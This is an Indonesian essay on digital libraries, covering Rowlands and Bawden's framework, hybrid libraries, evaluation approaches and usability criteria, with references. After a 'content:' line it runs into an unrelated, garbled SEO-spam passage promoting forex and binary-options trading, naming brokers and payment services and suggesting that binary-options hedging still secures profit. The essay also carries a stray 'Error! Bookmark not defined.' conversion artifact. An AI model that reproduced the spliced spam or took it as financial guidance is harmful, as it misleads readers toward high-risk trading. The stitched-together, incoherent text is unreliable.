dengan sistem belajar-mengajar. Teknologi digital yang berkembang pesat telah menawarkan berbagai kemungkinan penggabungan antara kelas, laboratorium, perpustakaan, dan bahkan museum, sehingga proses belajar-mengajar menjadi begitu terintegrasi dan meluas. Aplikasi perpustakaan digital tentunya harus dapat menjadi bagian dari integrasi ini. Demikian pula di bidang penelitian, telah dan akan terjadi perubahan mendasar dalam pola komunikasi ilmiah yang akhirnya akan melahirkan tuntutan-tuntutan baru dalam hal ketersediaan akses maupun sumberdaya digital. Teknologi Internet masih terus berkembang dan telah melahirkan fenomena baru dalam komunikasi antar ilmuan yang begitu berbeda dari masa sebelumnya. Bukanlah tidak mungkin bahwa dalam waktu dekat pengertian ‘ilmiah’ dan ‘komunikasi ilmiah’ itu sendiri akan dirombak total. Perpustakaan digital akan menjadi bagian dari inti perubahan mendasar ini, jika memang pengembangannya disesuaikan dengan perkembangan kehidupan para peneliti yang menjadi pemakai utama. Lalu, akibat dari perkembangan e-learning dan e-research tersebut, maka masyarakat secara keseluruhan memerlukan konsep baru tentang literacy sebagai pondasi bagi komunikasi yang menggunakan teknologi digital. Konsep information literacy sudah semakin sering didengungkan dan dijadikan motivasi untuk menyelenggarakan berbagai program. Dalam hal ini pun perpustakaan digital perlu menegaskan perannya, yaitu sebagai institusi yang memungkinkan para penggunanya mengembangkan pengetahuan dan keterampilan otonom mereka menggunakan dan memanfaatkan teknologi digital. Jika tidak, maka perpustakaan digital akan tetap menjadi sekumpulan mesin yang tidak punya konteks sosial sama sekali, dan dengan demikian tidak berumur lama karena akan ditinggalkan oleh pemakainya. Teknologi saat ini memungkinkan perpustakaan dan pustakawan menawarkan bantuan bagi pengguna untuk memanfaatkan sumberdaya digital, sehingga kunjungan mereka (baik kunjungan ke lokasi fisik maupun kunjungan ke situs Internet) bisa lebih efektif dan efisien. Aplikasi perpustakaan digital akhirnya melahirkan peran baru bagi perpustakaan dan pustakawannya. Potensi teknologi telematika dimanfaatkan sebesar-besarnya untuk kepentingan masyarakat pengguna, dan konsentrasi para pustakawan di era digital ini bukanlah pada upaya ‘mengejar teknologi’ melainkan pada bagaimana menjadi mitra yang sesungguhnya dalam kehidupan perguruan tinggi yang sedang berubah cepat. Melalui penerapan konsep perpustakaan digital dan perubahan peran inilah para pustakawan sebenarnya sedang memastikan diri bahwa profesi mereka tetap diperlukan. “Perjalanan” menuju aplikasi perpustakaan digital bukanlah sesuatu yang mulus. Di penghujung 1990an, ketika potensi teknologi informasi untuk mendirikan perpustakaan digital sudah “matang” dipersiapkan di laboratorium, masih muncul keraguan di kalangan pustakawan maupun perancang teknologi tentang apa yang sebenarnya dimaksud dengan “perpustakaan digital” itu sendiri. Keraguan ini antara lain disebabkan oleh dipertahankannya kata “perpustakaan” dan oleh kenyataan bahwa sebelum istilah “perpustakaan digital” populer, sudah ada istilah-istilah lain, yaitu electronic library (atau e-library)[1] dan virtual library. Terdorong oleh kebingungan -dan bahkan kesimpangsiuran!- tersebut, beberapa pihak berupaya membuat kerangka konseptual atau model perpustakaan digital. Salah satu kerangka yang dapat kita periksa adalah yang diusulkan Rolands dan Bawden (1999). Usulan ini cukup menarik, terutama karena sebelum membuat kesimpulan mereka menggambarkan berbagai model perpustakaan “biasa” dan berkelanjutan). perpustakaan digital sebagai sebuah kontinuum (rangkaian Secara ringkas, rangkaian tersebut kira-kira dapat digambarkan seperti ini: Di gambar di atas terlihat bahwa semakin ke kiri adalah semakin “fisik” (dapat didatangi oleh pengunjung, dapat dihuni oleh manusia dan benda fisik), sementara semakin ke kanan adalah semakin “maya” (virtual, hanya ada di pikiran manusia dalam bentuk akses secara individual melalui jaringan atau Internet). Istilah yang populer untuk sisi sebelah kanan adalah “perpustakaan tanpa tembok” (libraries without wall). Model yang paling pragmatis adalah perpustakaan hibrida (kotak di tengah), karena pada kenyataannya banyak sekali perpustakaan yang memiliki baik ruang fisik (gedung) maupun ruang maya dalam bentuk akses Internet atau gateways yang bisa dibuka di luar gedung perpustakaan. Sementara itu frasa libraries without wall jadi terdengar agak absurd sebab betapa pun mayanya sebuah perpustakaan, tetap diperlukan lokasi fisik bagi koleksi-koleksi digital, setidaknya lokasi fisik untuk server dan hard-disk atau penyimpan (storage) berkas. Terlebih lagi, musti ada manusia yang mengelola alat-alat tersebut, dan manusia itu perlu tembok untuk berlindung ketika bekerja! Rowlands dan Bawden tampaknya tak mau terjebak oleh perdebatan tentang bentuk atau lokasi, melainkan ingin merasuk lebih dalam dengan melihat semua model di atas sebagai sebuah konsep teoritis dan praktik. Maka itu lah mereka mengusulkan conceptual framework yang dapat digambarkan seperti berikut ini: Sebagaimana terlihat dalam konsep di atas, Rowlands dan Bawden menghindari pembicaraan tentang bentuk (form), melainkan berkonsentrasi pada proses. Selain itu, mereka juga menganjurkan sebuah konsep yang dinamis, sebab semua yang tergambar di atas dapat berlangsung terus menerus (dalam istilah perencanaan sistem dikenal dengan kata looping), dari mulai rencana, ke implementasi, lalu evaluasi, dan balik lagi ke rencana. Hal penting lain yang terkandung dalam model Rowlands dan Bawden di atas adalah dua “dunia” yang terus mewarnai kehadiran sebuah perpustakaan. Keduanya berlaku untuk segala jenis perpustakaan, entah itu namanya perpustakaan “biasa”, perpustakaan elekronik, perpustakaan hibrida, maupun perpustakaan maya. Dua dunia itu adalah “dunia ide” dan “dunia praktik”. Di antara keduanya ada “teknologi”. Maksudnya adalah, keseluruhan kegiatan perpustakaan sebenarnya merupakan upaya menerapkan teknologi khususnya teknologi informasi. Dalam hal ini, buku juga sebuah teknologi informasi, tetapi menggunakan mesin cetak (kecuali kalau namanya “buku elektronik”). Jadi, kalau pun sekarang kita bicara tentang perpustakaan digital, maka persoalan yang kita hadapi tetap serupa tatkala kita bicara tentang perpustakaan non-digital, yaitu bahwa perpustakaan adalah penerapan ide ke dalam praktik dengan menggunakan teknologi informasi. Namun memang ada perbedaan kalau kita membandingkan konsep di atas dengan konsep perpustakaan “biasa”, yaitu pada elemen-elemen horisontal di bagian tengah gambar di atas. Terlihat di sana ada tiga ranah (domain), dan ranah yang paling bawah (dasar) memperlihatkan kata “sistem” yang mengandung tiga hal, yaitu interaksi manusia-komputer, perangkat lunak, dan arsitektur sistem. Ini adalah ranah yang secara khusus muncul ketika perpustakaan menggunakan komputer, dan dengan demikian merupakan ranah yang tidak ada kalau perpustakaan tidak menggunakan komputer sama sekali[2]. Dua ranah lainnya selalu ada di segala bentuk perpustakaan, dan bahkan di segala bentuk sistem atau organisasi yang mengelola pengetahuan dan informasi (termasuk lembaga arsip, dokumentasi, museum, pusat informasi, dan sebagainya). Konsep Rawlings dan Bawden di atas juga membantu kita melihat perpustakaan digital sebagai sistem sosio-teknik, dan bukan melulu sebagai alat atau teknologi. Dengan konsep ini, maka sebuah server di Internet bukanlah perpustakaan digital, demikian pula sekumpulan CD atau DVD yang berisi aneka informasi bukanlah perpustakaan digital. Keseluruhan kegiatan, layanan, pengelolaan, penyediaan, dan evaluasi yang tergambar di atas, itulah yang dapat disebut perpustakaan digital. Kompleksitas layanan perpustakaan digital Salah satu definisi yang paling “kena” untuk memahami perpustakaan digital sebagai sebuah konsep dan praktik adalah definisi dari Digital Library Federation[3] yang mengatakan bahwa: Digital libraries are organizations that provide the resources, including the specialized staff, to select, structure, offer intellectual access to, interpret, distribute, preserve the integrity of, and ensure the persistence over time of collections of digital works so that they are readily and economically available for use by a defined community or set of communities. Dalam definisi tersebut jelas terkandung konsep penyediaan informasi yang bersifat memudahkan (readily) dan tidak memberatkan (economically). Secara lebih spesifik, penyediaan informasi ini dapat dilihat sebagai memiliki beberapa komponen penting, yaitu: • Memakai teknologi yang mengintegrasikan kemampuan menciptakan, mencari, dan menggunakan informasi dalam berbagai bentuk di dalam sebuah jaringan digital yang tersebar luas. • Memanfaatkan koleksi yang mencakup data dan metadata yang saling mengaitkan berbagai data, baik di lingkungan internal maupun eksternal. • Didukung oleh kegiatan mengoleksi dan mengatur sumberdaya digital yang dikembangkan bersama-sama komunitas pemakai jasa untuk memenuhi kebutuhan informasi komunitas tersebut. Merupakan integrasi berbagai institusi, seperti perpustakaan, museum, arsip, dan sekolah yang memilih, mengoleksi, mengelola, merawat, dan menyediakan informasi secara meluas ke berbagai komunitas. Selain itu, karena sifat hibrida dari kebanyakan perpustakaan digital yang saat ini ada, maka penyediaan jasa informasi memperlihatkan ciri-ciri sumber informasi yang amat beragam, yaitu: • Multiple media : buku dan bahan-bahan kartografis, berkas komputer, gambar/grafis Kit, bentuk mikro, gambar hidup, objek benda, rekaman suara, rekaman video: videocartridge, kaset video, videodisc, videoreel. • Multimedia – kombinasi dua atau lebih media, disajikan dalam bentuk digital. • Bahan dan sumberdaya full-text, termasuk di sini e-journal, koleksi digital yang bersifat terbuka (open access), e-books, e-newspapers, dan tesis serta disertasi digital. • Sumberdaya metadata, termasuk perangkat lunak digital berbentuk katalog, indeks dan abstrak, atau sumberdaya yang menyediakan ‘informasi tentang informasi’ lainnya. • Aneka situs di Internet. Kompleksitas perpustakaan digital memang segera terlihat jika kita melihat keragaman format, kandungan, maupun cara penggunaan sumber-sumber informasi tersebut di atas. Dari pembahasan di atas jelaslah tak mungkin menganggap bahwa perpustakaan digital semata-mata merupakan persoalan teknologi. Selain itu, tak mungkin pula kita dapat memandang perpustakaan digital sebagai semata-mata persoalan akses jarak jauh (remote access) mengingat masih banyak kepentingan pengguna jasa perpustakaan yang hanya dapat dipenuhi melalui interaksi langsung di lokasi fisik perpustakaan. Gambar di bawah tentang “perpustakaan hibrida” dapat memperjelas kompleksitas jasa perpustakaan saat ini. Di gambar tersebut terlihat jelas bahwa sebuah perpustakaan harus menggabungkan sifat-sifat “ruang fisik” dan “ruang digital” (atau ruang cyber). Kita dapat menduga bahwa gabungan dari kedua sifat ini jauh lebih kompleks daripada sifat salah satunya. Sebagai contoh, dalam aspek yang amat sederhana saja, konsep “meminjam” dan “mengembalikan” di ruang fisik dan di ruang cyber sudah menimbulkan persoalan pengelolaan berbeda. Demikian pula, mengunduh (downloading) memerlukan pengaturan yang berbeda dibandingkan dengan menyalin dokumen di salah satu ruang (fisik) perpustakaan. Dapat dibayangkan, pengelolaan perpustakaan digital berbentuk hibrida membutuhkan berbagai penyesuaian manajemen. Evaluasi Akibat dari kompleksitas penyelenggaraan sebagaimana diuraikan di atas, maka salah satu isu paling menarik saat ini di kalangan pengamat, pendukung dan pengelola perpustakaan digital adalah isu evaluasi. Sebagaimana di masa sebelum digital ketika perpustakaan masih didominasi koleksi tercetak, maka kini setiap upaya menyediakan jasa perpustakaan digital memerlukan justifikasi (pembenaran) yang cukup. Dari segi evaluasi, ada perbedaan antara perpustakaan nondigital dan digital, yang menyebabkan perhatian khusus. Saracevic (2004) dengan sangat baik merumuskannya sebagai: • complexity – perkembangan teknologi informasi yang sangat dinamis dan cepat menyebabkan perpustakaan digital tergolong salah satu institusi yang paling rumit, dan ini menyebabkan evaluasi sulit dilakukan. • pre-maturity – biar bagaimana pun, fenomena perpustakaan digital baru benar-benar hadir di akhir 1990an, dan setelah 10 tahun baru dianggap dalam tahap perkembangan, sehingga masih ada beberapa aspek yang belum cukup stabil untuk dievaluasi. • interest levels – sebelum benar-benar dianggap stabil, biasanya banyak pihak lebih tertarik pada pengembangan, dan kurang pada upaya evaluasi. • funding – berkaitan dengan butir di atas, saat ini belum ada cukup banyak dana tersedia untuk evaluasi yang menyeluruh. • culture – kegiatan evaluasi belum populer manakala semua orang sedang lebih tertarik pada eksperimen dan pengembangan landasan kerja baru. • cynicism – belum banyak orang peduli pada kinerja perpustakaan digital, terutama karena juga banyak pihak yang belum jelas memahami: apa yang akan diukur? Tradisi evaluasi terhadap kinerja perpustakaan yang sudah lama dijalankan para pustakawan, seringkali dianggap tidak memadai untuk situasi digital. Belakangan ini semakin banyak upaya menyusun kerangka pikir baru untuk memodifikasi sistem evaluasi perpustakaan agar lebih cocok bagi keadaan masa kini. Namun, sebagaimana dikatakan oleh Berton et. al. (2004), evaluasi terhadap perpustakaan digital tentu tidak dapat secara sertamerta dilepaskan dari apa yang sudah selama ini dijalankan. Toh, pada dasarnya perpustakaan digital merupakan fenomena lanjutan dari perpustakaan non-digital karena dibangun di atas landasan sosial-budaya maupun teknologi yang sama. Terlepas dari perbedaan karakternya, keberhasilan dan kegagalan perpustakaan non-digital maupun perpustakaan digital sangat bergantung pada bagaimana insitusi-institusi ini ‘bergaul’ dengan masyarakat penggunanya, dan bagaimana pergaulan itu dipahami oleh pengelola untuk meningkatkan kualitas kerja mereka. Melihat ke sejarah yang panjang tentang evaluasi kinerja perpustakaan, Berton dan kawan-kawan menengarai keberadaan empat jenis evaluasi sebagaimana terlihat di tabel berikut. Keempatnya memiliki cara pandang berbeda terhadap apa yang perlu diukur dan dievaluasi. Ada yang lebih mengutamakan luaran (output) dan cenderung kuantitatif, ada juga yang menitik-beratkan pada hasil atau dampak terhadap masyarakat pengguna, sementara ada juga yang memperhatikan kualitas serta gabungan dari semua unsur lainnya. Perlu juga diingat bahwa masing-masing jenis evaluasi ini digunakan oleh pengelola perpustakaan untuk keperluan yang berbeda. Ada jenis evaluasi yang lebih cocok untuk perencanaan operasional, dan ada pula yang lebih cocok untuk mengukur kepuasan pengguna jasa. |Jenis Evaluasi |Deskripsi |Metode |Kegunaan | |Outputs |Penghitungan |Penghitungan atau|Sebagai evaluasi | |assessment |kuantitatif tentang|kuantifikasi |operasional dan | | |penggunaan terhadap|penggunaan |bahan perencanaan| | |sumberdaya |fasilitas dan |kerja berikutnya.| | |perpustakaan, jasa,|jasa, Focus | | | |dan |Groups, wawancara| | | |program-programnya.| | | |Performance |Mengevaluasi |Kajian terhadap |Menjadi patokan | |measure |tingkat penyajian |ketersediaan, |efisiensi dan | | |dan penyediaan |pemanfaatan, |efektivitas | | |(delivery) jasa |analisis isi, |penyediaan jasa. | | |perpustakaan . |analisis | | | | |fungsional. | | |Service quality|Mempersoalkan |SERVQUAL, |Memantau kepuasan| | |kualitas |LibQUAL+, |pengguna, | | |keseluruhan dari |Balanced |sekaligus | | |yang disediakan |Scorecard, Best |menampung | | |oleh perpustakaan. |Practices, |apresiasi | | | |Benchmarking |pengelola. | |Outcomes |Mengkaji dampak |Mengukur hasil |Mengukur efek | |assessment |dari aktivitas |dan dampak |program dalam | | |perpustakaan |program kerja |jangka pendek | | |terhadap pengguna |perpustakaan. |maupun manfaat | | |dari segi | |program dalam | | |manfaatnya. | |jangka panjang. | Terlepas dari perbedaan dan persamaan berbagai pendekatan di atas, evaluasi terhadap perpustakaan digital memerlukan cara pandang baru karena setidaknya ada 2 hal penting, yaitu: • Perpustakaan digital sebagai institusi seringkali bukan pembuat dan penyedia fasillitas teknologi atau materi digital yang digunakan para pengunjungnya. Mulai dari OPAC sampai pangkalan data, portal, dan search engine yang digunakan di perpustakaan digital seringkali dibuat dan dikembangkan oleh pihak lain, atau menjadi bagian dari infrastruktur yang lebih besar. Beberapa sumberdaya digital bahkan bersifat lisensi, misalnya yang terjadi dengan jurnal atau buku elektronik, dan perpustakaan digital tidak punya kendali langsung atas kualitas akses. • Keseluruhan infrastruktur perpustakaan digital itu sendiri seringkali merupakan bagian dari infrastruktur yang lebih luas. Sementara para pengguna perpustakaan digital juga menggunakan alat atau jaringan kerja yang merupakan bagian dari infrastruktur teknologi informasi lebih luas. Pihak-pihak yang terlibat dan bertanggungjawab terhadap kinerja menyeluruh ini tentu saja berada di luar jangkauan wewenang pengelola perpustakaan digital, padahal kinerja perpustakaan itu sendiri sangat dipengaruhi oleh kinerja infrastruktur. Kedua hal di atas sangat menentukan bagaimana sebuah kualitas dipersepsi oleh para pemakai. Jika kita menggunakan salah satu perangkat evaluasi, misalnya seperti yang dibuat oleh Association of Research Libraries (ARL)[4], yaitu LibQUAL+, maka perlu kiranya diingat bahwa perbedaan kondisi lingkungan tercetak dan lingkungan elektronik sangat mempengaruhi perilaku pencarian informasi (information seeking behavior) dan tata cara pengguna memanfaatkan kandungan isi koleksi. Jika perpustakaan kita berkategori “hibrida”, maka kita tidak dapat begitu saja menggabungkan nilai kepuasan pengguna terhadap fasilitas perpustakaan yang berbeda itu. Dalam survei pendapat pemakai, perlu juga diperhatikan bahwa para pemakai mungkin bereaksi secara holistik kepada berbagai bentuk fasilitas, padahal fasilitas tersebut belum tentu ada dalam kendali perpustakaan, atau hanya sebagian saja berada dalam kendali perpustakaan. Jika sebuah perpustakaan digital hanya bertindak sebagai ‘perpanjangan tangan’ dari sebuah penyedia jasa digital (misalnya dalam kasus penggunaan federated search), maka harus diperhatikan: unsur kepuasan apa yang seharusnya dinilai. Dan kalau ada berbagai unsur kepuasan di dalam penggunaan sebuah fasilitas, unsur yang mana harus dijadikan barometer kinerja perpustakaan digital. Hal lain yang perlu diperhatikan dalam fenomena perpustakaan digital adalah kenyataan bahwa teknologi yang mendasarinya memungkinkan integrasi dalam menciptakan, mencari, dan menggunakan informasi digital. Semua kegiatan ini dapat berlangsung secara cepat di dalam sebuah jaringan digital yang tersebar luas, bahkan mengglobal. Namun semua ini baru merupakan potensi teknologi dan seringkali memberikan harapan berlebihan kepada masyarakat pengguna. Akibatnya, penilaian terhadap perpustakaan digital seringkali terpengaruh oleh persepsi tentang potensi ini. Dari sisi evaluasi, maka perpustakaan digital tidak dapat dilepaskan dari berbagai unsur teknologi, yaitu: • Kinerja umum (Performance) – Memenuhi persyaratan dasar umum dalam penggunaan teknologi digital berjaringan (digital network). • Keselarasan (Conformance) – Memakai standar lokal, nasional, maupun internasional dalam hal pengiriman dan pertukaran informasi digital. Ini juga berkaitan dengan interoperability (lihat pembahasan di halaman Error! Bookmark not defined.). • Kekhususan (Features) – Memberikan kemudahan tambahan yang tidak ada di perpustakaan biasa dalam bentuk fitur khusus atau jasa khusus. • Kehandalan (Reliability) – Menjamin keajegan dalam penyediaan informasi yang bernilai tinggi bagi pengguna, termasuk di dalammnya ketersediaan (availability), kepastian dalam antar-hubungan (tidak ada dead links), bisa sering digunakan (tidak sering down), cepat dan akurat. • Kesinambungan (Durability) – Bukan merupakan “proyek sesaat” melainkan sebuah jasa yang terus menerus disediakan dan ditingkatkan kualitasnya. • Keterbaruan (Currency) – Mengupayakan penyediaan hal-hal baru yang menambah nilai jasa perpustakaan kepada pengguna. Misalnya, seberapa baru informasi yang tersedia lewat portal perpustakaan? Seberapa sering jasa ini diperbarui (updated). • Kemudahan jasa (Serviceability) – Memastikan bahwa semua fasilitas digital yang disediakan perpustakaan mudah digunakan, termasuk bagi mereka yang baru pertamakali menggunakan fasilitas ini. • Keindahan Penampilan (Aesthetics and Image) – Memenuhi selera (subjektif) penguna demi kenyamanan penggunaan fasilitas digital. • Kesepakatan Kualitas (Perceived Quality) – Menyadari bahwa kualitas jasa perpustakaan digital selalu dibanding-bandingkan oleh pengguna dengan jasa lainnya. Misalnya, sistem temu kembali di perpustakaan selalu dibandingkan dengan Google atau Yahoo. Kualitas jasa perpustakaan digital seringkali merupakan kesepakatan antar pemakai, bukan pandangan individual. • Kebergunaan (Usability) – Merupakan ukuran paling penting di semua jenis jasa. Secara lebih spesifik, nilai ini ditentukan oleh pengguna sesuai persepsi subjektif berdasarkan pengalaman mereka dalam berbagai hal termasuk seberapa jauh perpustakaan digital mampu secara tepat memberikan solusi informasi bagi pengguna. Termasuk di sini adalah relevansi informasi itu bagi pengguna. Pengguna juga peduli pada kemampuan sistem menghemat waktu dan upaya pengguna dalam mendapatkan informasi dari berbagai sumber, tidak hanya dari lingkungan lokal. Sementara itu, khusus mengenai kinerja perpustakaan digital dari segi antar-muka, memang kini sedang berkembang pola evaluasi yang tercakup dalam bidang teknologi interaksi manusia dengan mesin, atau Human-Computer Interaction. Selain kajian-kajian yang lebih bersifat mekanistik dan teknis pembuatan antar-muka, belakangan juga muncul kajian yang menekankan pentingnya pemahaman tentang kebutuhan pemakai sebagai bagian dari interaksi manusia-mesin. Sebagaimana yang dulu pernah dilontarkan Belkin (2002), kajian dan evaluasi antar-muka perpustakaan digital harus memperhatikan berbagai hal sekaligus mulai dari kenyataan bahwa perpustakaan digital melayani komunitas-komunitas spesifik, dengan karakteristik pengguna yang beragam, dengan tugas, tujuan, dan keterampilan yang berbeda-beda, sampai pada jenis koleksi digital yang cenderung berbeda-beda (teks, gambar, video, suara) tetapi disatukan (multimedia dan multiple media). Akibat dari keadaan ini, maka Belkin menegaskan bahwa antar-muka perpustakaan digital sebaiknya dikaitkan dengan tiga hal penting, yaitu tujuan spesifik dari perpustakaan digital yang bersangkutan, ciri perpustakaan digital yang bersangkutan, dan kebergunaan (usability). Perlu kita garis bawahi pula, bahwa dalam hal kebergunaan ada banyak persepsi tentang apa saja ciri-ciri atau atributnya. Sebagaimana diulas oleh Jeng (2005), sedikitnya ada 14 pendapat yang beredar selama ini, sebagaimana terlihat di tabel di bawah. Kita dapat melihat di tabel di atas, bahwa “kebergunaan” menjadi semakin kompleks sebab melibatkan unsur objektif dari sisi teknologi, maupun unsur subjektif dari sisi pemakai teknologi. Dalam bentuk skema, unsur-unsur “kebergunaan” itu dapat dilihat seperti dalam gambar di bawah. Skema tersebut dapat dipakai untuk menyusun rencana evaluasi perpustakaan digital secara menyeluruh untuk mengukur secara holistik, seberapa besar atau tinggi nilai keberadaan perpustakaan digital di lingkungan masyarakatnya. Perhatikanlah bahwa efisiensi dalam simpan dan temu-kembali merupakan salah satu bagian saja dari penilaian tentang kebergunaan. |Model dan pengusulnya |Unsur-unsur yang menyangkut “kebergunaan” | |Booth (1989) |Keterpakaian, keefektifan, kemudahan | | |dipelajari, sikap pemakai. | |Brinck et. al (2002) |Berfungsi secara benar, efisien dalam | | |pemakaian, mudah dipelajari, mudah diingat, | | |toleran terhadap kesalahan, dan menyenangkan| | |untuk digunakan. | |Clairmont et. al. (1999)|Pengguna dapat secara sukses mempelajari dan| | |memanfaatkan teknologi untuk mencapai | | |tujuannya. | |Dumas & Redish (1993) |Dapat melakukan fungsi dan tugas secara | | |cepat dan mudah. | |Furtado, et. al. (2003) |Mudah dipelajari dan digunakan. | |Gluck (1997) |Kemudahan dalam penggunaan dan manfaatnya. | |Guilemette (1995) |Secara efektif dapat digunakan untuk | | |mencapai tujuan. | |Hix & Hartson (1993) |Kinerja awal, kinerja jangka-panjang, | | |kemudahan untuk dipelajari, keajegan, | | |penggunaan fitur-fitur terbaru, kesan | | |pertama, kepuasan jangka-panjang. | |ISO (1994) |Keefektifan, efisiensi, kepuasan. | |Kengeri et. Al. (1999) |Keefektifan, disukai, mudah dipelajari, | | |bermanfaat. | |Kim (2002) |Keefektifan dalam antar-muka. | |Nielsen (1993) |Mudah dipelajari, efisiensi, mudah diingat, | | |memuaskan. | |Oulanov & Pajarillo |Afeksi, efisiensi, kendali, unsur bantuan, | |(2002) |mudah diadaptasi. | |Shackel (1986) |Keefektifan, mudah dipelajari, fleksibel, | | |sikap pengguna. | Seringkali kecanggihan penggunaan teknologi temu-kembali ini harus diimbangi oleh hal-hal yang tidak langsung berhubungan dengan teknologi itu, seperti tampilan dan kualitas isi. Demikian pula, atribut-atribut teknologis dalam sebuah sistem, seperti kecepatan, keluasan jangkauan, dan keleluasaan akses seringkali tidak ada nilainya bagi pengguna jika sistem itu secara keseluruhan tidak dapat diselaraskan dengan kegiatan-kegiatan di masyarakat penggunanya. Dalam kasus perpustakaan digital di lingkungan perguruan tinggi, misalnya, kecanggihan sistem perpustakaan digital harus diimbangi dengan integrasinya ke dalam fungsi- fungsi pendidikan atau penelitian (e-learning dan e-research). Referensi Garrison, D.R dan Terry Anderson (2003), E-learning in the 21st Century – A framework for Research and Practice, London : RoutledgeFarlmer. Jeremy J. Shapiro and Shelley K. Hughes,” Information Literacy as a Liberal Art”. Educom Review, Volume 31, Number 2, March/April 1996, 31-35 Johnson, Hillary (2003) “The SCONUL Task Force on Information Skills dalam Information & IT Literacy, ed. Allan Martin dan Hanelore Rader, London : Facet Publishing, 45 – 52. Martin, Allan (2003), “Towards e-literacy” dalam Information & IT Literacy, ed. Allan Martin dan Hanelore Rader, London : Facet Publishing, 3-23. Payne, Phillip dan Elizabeth Waller (2000), “Academic libraries” dalam Librarianships and Information Work Worldwide 2000, Graham Mackenzie dan Paul Sturges (ed.), London : Bowker Saur, h. 51 – 86. Rolands, I. dan D. Bawden (1999), “Digital libraries : a conceptual framework” dalam LIBRI, vol. 49, hal. 192 – 202. Rosenberg, Marc J. (2001), E-LEARNING : Strategies for Delivering Knowledge in the Digital Age, New York : McGraw Hill. Sanderson, Duncan (1996), “Cooperative and collaborative mediated research” dalam Computer Networking and Scholarly Communication in the Twenty-first- Century University, editor Teresa Harrison dan Timothy Stephen, New York : State University of New York Press, h. 95 – 114. Town, J.S. (2000) “Wisdom or welfare? The seven pillars model” dalam Seven Pillars of Wisdom? Good Practice in Information Skills Development. Proceedings. University of Warwick 6 – 7 Juli 2000, SCONUL, London, 11 – 21. Virkus, Sirje (2004), “Information literacy and learning” dalam Libraries Without Walls 5 : the distributed delivery of library and information services, editor Peter Brophy, Shelagh Fisher, Jenny Craven, London : Facet Publishing, 97 – 108. -----------------------------------[1] Kata “elektronik” (menggunakan listrik) cukup membingungkan! Bayangkan, semua komputer sebenarnya adalah peralatan elektronik, dan tidak ada alat digital yang tidak alat elektronik. Istilah e-library sebenarnya mengikuti kepopuleran e-commerce, e-business, elearning, dan semua istilah berawalan “e-“. Sebenarnya, di dunia perpustakaan, istilah “perpustakaan elektronik” merujuk ke perpustakaan yang mengoleksi media elektronik analog sebelum media digital dan komputer populer menjadi koleksi perpustakaan. Perpustakaan sebelumnya terbiasa mengoleksi kaset, video, film, salindia (slide), film mikro, dan sebagainya yang membutuhkan peralatan elektronik. [2] Saat ini amat sulit menemukan perpustakaan yang sama sekali tidak menggunakan komputer, tetapi memang ada perpustakaan yang tidak menggunakan komputer untuk kegiatan pelayanan informasi. Juga akan semakin sulit menemukan perpustakaan yang tidak memiliki katalog berbantuan komputer (online catalog), walau sebagian besar katalog itu amatlah sederhana. [3] Lihat http://www.diglib.org/about/dldefinition.htm [4] Lihat (http://www.libqual.org/) -----------------------------------PERPUSTAKAAN MAYA –tanpa lokasi fisik, koleksi digital, ruang dan referensi maya PERPUSTAKAAN DIGITAL – dengan atau tanpa lokasi fisik, koleksi digital, ruang dan referensi maya PERPUSTAKAAN HIBRIDA– gedung, lokasi fisik + Internet, koleksi tercetak dan elektronik dan digital, ruangan baca, meja referensi + referensi maya + ruang maya (virtual) PERPUSTAKAAN ELEKTRONIK– gedung, lokasi fisik, koleksi tercetak dan elektronik, ruangan baca, meja referensi, dan sebagainya PERPUSTAKAAN – gedung, lokasi fisik, koleksi tercetak, ruangan baca, meja referensi, dan sebagainya untaian umpanbalik (feedback loop) RANAH SISTEM Interaksi manusia-komputer, perangkat lunak, arsitektur sistem RANAH INFORMASIONAL Organisasi pengetahuan, simpan-temu-kembali pengetahuan, implikasi bagi proses transfer (perpindahan) informasi RANAH SOSIAL Keterampilan dan keberaksaraan (literasi) informasi, dampak pada organisasi dan kegiatannya, kebijakan, peraturan, dan perundangan tentang informasi EVALUASI IMPLEMENTASI – introduksi, eksplorasi, integrasi, difusi RENCANA teknologi Dunia Praktik (aplikasi) Dunia Pemikiran (ide) interoperabitilty Efektif menjawab permintaan pengguna kualitas isi informasi tampilan (visual) penamaan (semantik) struktur informasi Kemudahan pemakaian Memuaskan Berguna bagi pengguna dan pemangku kepentingan (manfaat) Mudah diintegrasikan ke dalam kegiatan penting di masyarakat penggunanya Efisien dalam simpan dan temu-kembali Dimensi Kerjasama (prasyarat) Dimensi Teknologi (potensi) Nilai tambah perpustakaan digital bagi lingkungan pemakainya


content:
Hasilnya sangat terkenal. Apakah opsi biner menguntungkan berharap bisa bekerja sama dengan Binary Options. E-Payment terbaik selanjutnya berasal dari tempat belajar Forex yang bayar setelah dapat profit dalam negeri. Berdiri sekitar tahun 2010, FasaPay menjadi salah satu solusi pembayaran yang banyak digunakan oleh broker forex serta aktivitas jual beli online. Contoh broker penyedia deposit via Fasapay antara lain adalah IC Markets, Alpari, serta FBS.
Dividen yang diharapkan diberikan oleh saham yang dijadikan patokan dalam opsi selama umur opsi tersebut. Dari software desktop yang kuat MetaTrader 4, platform WebTrader yang dapat diakses suku bunga gaji pedagang opsi browser web apa pun, semua jalan hak opsi perdagangan perusahaan ke aplikasi seluler Android dan Apple MetaTrader 4 tersedia di toko aplikasi, Anda tidak akan merasa terlalu jauh dari pasar dengan MetaTrader 4. Memilih Indikator Trading yang terbaik memegang peranan penting dalam pengambilan keputusan kapan BUY dan SELL bisa dilakukan. Tips yang lainnya adalah terus belajar mengenai manajemen risiko dalam forex, sehingga Anda dapat menyeimbangkan modal yang dimiliki dengan Margin yang sesuai. Mulailah melihat Margin Call sebagai tantangan yang harus mampu dihindari, bukan sebagai momok yang terus diingkari keberadannya, atau dianggap sebagai vonis mati dalam dunia trading. Jika Anda telah mempersiapkan diri untuk membatasi risiko sebelum bertemu dengan MC, maka aktivitas trading Anda akan terasa lebih menyenangkan.
Kontes Foto Seru Alpenliebe Berhadiah Trip ke Singapura, PS4, Laptop, Smartphone dan Hadiah Menarik Lainnya. Trend tempat belajar Forex yang bayar setelah dapat profit forex adalah history pergerakan pasar forex pada rentang waktu yang panjang dan biasa di gunakan untuk menganalisis pergerakan pasar forex. Trend Forex memiliki 5 jenis yaitu: Trend Naik, Trend Turun, Trend Mendatar, Pergerakan Tanpa Arah.
Sehingga, walaupun salah satu option strategi pilihan 5 menit akan berakhir out-of-the-money, akan tetap ada profit yang Anda menangkan di sini. Di binary options, penggunaan strategi hedging bisa lebih fleksibel, karena broker binary options umumnya tak melarang trader untuk menempatkan opsi yang berlawanan dalam suatu instrumen di waktu yang bersamaan.
